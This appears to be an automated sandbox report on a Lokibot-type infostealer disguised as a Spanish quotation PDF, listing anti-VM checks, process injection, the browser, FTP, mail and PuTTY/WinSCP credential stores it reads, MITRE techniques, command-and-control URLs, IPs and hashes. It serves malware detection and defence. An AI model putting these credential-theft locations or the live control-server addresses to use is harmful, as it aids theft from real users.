Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.494440021.00000000010A8000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Code function: 14_2_0040317B mov eax, dword ptr fs:[00000030h]

14_2_0040317B

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Code function: 14_2_00402B7C GetProcessHeap,RtlAllocateHeap,

14_2_00402B7C

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Memory written: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Process created: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe {path}

Jump to behavior

Source: Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.494683523.0000000001730000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.494683523.0000000001730000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.494683523.0000000001730000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.494683523.0000000001730000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.494683523.0000000001730000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Queries volume information: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Code function: 14_2_00406069 GetUserNameW,

14_2_00406069

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 5764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cotizaci#U00f3n-20210803.pdf.exe PID: 6108, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: PopPassword		14_2_0040D069
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: SmtpPassword		14_2_0040D069

Source: Yara match	File source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Access Token Manipulation1	Masquerading11	OS Credential Dumping2	Security Software Discovery111	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection112	Disable or Modify Tools1	Credentials in Registry2	Process Discovery1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion21	Security Account Manager	Virtualization/Sandbox Evasion21	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol113	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information13	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing3	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Cotizaci#U00f3n-20210803.pdf.exe	33%	Virustotal		Browse
Cotizaci#U00f3n-20210803.pdf.exe	26%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
Cotizaci#U00f3n-20210803.pdf.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File
14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
zamloki.xyz	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://zamloki.xyz/des/co/tox.php	7%	Virustotal		Browse
http://zamloki.xyz/des/co/tox.php	100%	Avira URL Cloud	malware
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
https://zamloki.xyz/des/co/tox.php	1%	Virustotal		Browse
https://zamloki.xyz/des/co/tox.php	100%	Avira URL Cloud	malware
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
zamloki.xyz	172.67.155.45	true	true	9%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zamloki.xyz/des/co/tox.php	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://zamloki.xyz/des/co/tox.php	Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.494440021.00000000010A8000.00000004.00000020.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.ibsensoftware.com/	Cotizaci#U00f3n-20210803.pdf.exe, Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.155.45	zamloki.xyz	United States		13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	459237
Start date:	04.08.2021
Start time:	13:54:22
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Cotizaci#U00f3n-20210803.pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@153/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 13.6% (good quality ratio 11.7%) Quality average: 66.2% Quality standard deviation: 35.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 134 Number of non-executed functions: 34
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 93.184.220.29, 52.255.188.83, 204.79.197.200, 13.107.21.200, 23.211.6.115, 40.88.32.150, 23.211.4.86, 20.50.102.62, 40.112.88.60, 80.67.82.211, 80.67.82.235 Excluded domains from analysis (whitelisted): cs9.wac.phicdn.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, ocsp.digicert.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, dual-a-0001.dc-msedge.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:56:05	API Interceptor	150x Sleep call for process: Cotizaci#U00f3n-20210803.pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.155.45	Detalles del banco.pdf.exe	Get hash	malicious	Browse	zamloki.xyz/des/co/tox.php
	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Browse	zamloki.xyz/des/co/tox.php
	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Browse	zamloki.xyz/des/co/tox.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
zamloki.xyz	Detalles del banco.pdf.exe	Get hash	malicious	Browse	172.67.155.45
	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Browse	172.67.155.45
	Cotizaci#U00f3n.pdf.exe	Get hash	malicious	Browse	104.21.6.222

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	TBN0194.exe	Get hash	malicious	Browse	172.67.188.154
	740493560527658268.htm	Get hash	malicious	Browse	104.16.18.94
	SecuriteInfo.com.Variant.Bulz.586772.29715.exe	Get hash	malicious	Browse	104.21.19.200
	LLjDnAaBT8.exe	Get hash	malicious	Browse	104.21.19.200
	Order756576747876874653.exe	Get hash	malicious	Browse	162.159.133.233
	SHIPPING DOCUMENTS.exe	Get hash	malicious	Browse	23.227.38.74
	ATT49330.HTM	Get hash	malicious	Browse	104.16.18.94
	mzwytAmFPD.exe	Get hash	malicious	Browse	104.18.7.156
	New_0228_02101111.xltx	Get hash	malicious	Browse	104.18.7.156
	KxafT4rzic.exe	Get hash	malicious	Browse	104.21.13.168
	disco.exe	Get hash	malicious	Browse	162.159.129.233
	ANGEBOT F_R SCHENKER-PROJEKT ERFORDERLICH.exe	Get hash	malicious	Browse	162.159.135.233
	boss.exe	Get hash	malicious	Browse	172.67.160.161
	vjMejWs3kW.exe	Get hash	malicious	Browse	172.67.188.154
	Document_0927.doc	Get hash	malicious	Browse	104.21.19.200
	DHL Shipment Notification REF 8032021.Pdf.exe	Get hash	malicious	Browse	23.227.38.74
	__ __ ___.exe	Get hash	malicious	Browse	104.23.99.190
	CTM ARRANGEMENT.exe	Get hash	malicious	Browse	23.227.38.74
	Request For Quotation.exe	Get hash	malicious	Browse	172.67.188.154
	ATT05713.HTM	Get hash	malicious	Browse	104.16.19.94

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Cotizaci#U00f3n-20210803.pdf.exe.log Download File
Process:	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1873
Entropy (8bit):	5.355036985457214
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIW7HKjntHoxHhAHKzvr1qHxvj:iqXeqm00YqhQnouRqjntIxHeqzTwRb
MD5:	3EA795204F0AE6DF0CC6499311A7BD85
SHA1:	95E0DB4B438485204891236BFF9F1FDE6686E995
SHA-256:	361C4FA9B912A516418473EB73389D4CA002A2BAEA39B4492DB37A3FA1A0B2CF
SHA-512:	9C8D1ECCC3F5981EDD1AA6330BA048E94A86501EFE79B2153E17EA053586F4CC4B0D3FC755EE4B1237DC7E8ED91C842DD36D8CFA14263B02FE1E1A67CBE9CEC6
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\89dad5d484a9f889a3a8dfca823edc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	28623
Entropy (8bit):	0.6761381215498615
Encrypted:	false
SSDEEP:	12:fMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeN:d
MD5:	E3D31EA07451FEB8DC7CF0366C611312
SHA1:	A543B5C4AC02E148F46CD5923A1A4FFF7363224A
SHA-256:	C53905B93E2719E7142075B06D31B88D7471A1E89071F6D145CAA4E3602B8837
SHA-512:	6239515DDB81F020FAF29EA16C800FA1002B5481C575DD0B8A855155EB29A8DDC26963ECBE4C16CA4B59A2AFC69BA9C8E515327A109EA9C6AECA5977C87D839B
Malicious:	false
Reputation:	low
Preview:	........................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user..............

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.556446886377223
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Cotizaci#U00f3n-20210803.pdf.exe
File size:	609792
MD5:	a0b0b59336a2e6fcd27c85c10765dca3
SHA1:	2a69e343a030294950c51e085750a29e77745648
SHA256:	ef17dc29214ca8cbef6cac18d1a087f7e97ea7a10f7c185f515bd951877a8941
SHA512:	fac9445e90cd68afb98552fb433404702dfa7662ed41b34ca0ae0e8d20b284d0ab7ea2aa373e204b6dbd89840341b7373b1967dc2760118fc58c56c30b05c55a
SSDEEP:	12288:2Cz5w+Lav/02F7lTR+1AMdSTwzap89QUQFBBgtt3S/IQWeGWZLCSfdGYp+gczyhG:/XLav17liAxTwzayQUQTBgtt
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a..............0......0......>;... ...@....@.. ....................................@................................

File Icon


Icon Hash:	0000000000000000

Static PE Info

General
Entrypoint:	0x493b3e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x610980BF [Tue Aug 3 17:45:35 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x93aec	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x94000	0x2c18	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x98000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x91b44	0x91c00	False	0.816352647942	data	7.62722089846	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x94000	0x2c18	0x2e00	False	0.0809273097826	data	1.42616112404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x98000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x94130	0x25a8	data
RT_GROUP_ICON	0x966d8	0x14	data
RT_VERSION	0x966ec	0x33c	data
RT_MANIFEST	0x96a28	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2011
Assembly Version	4.2.1.4
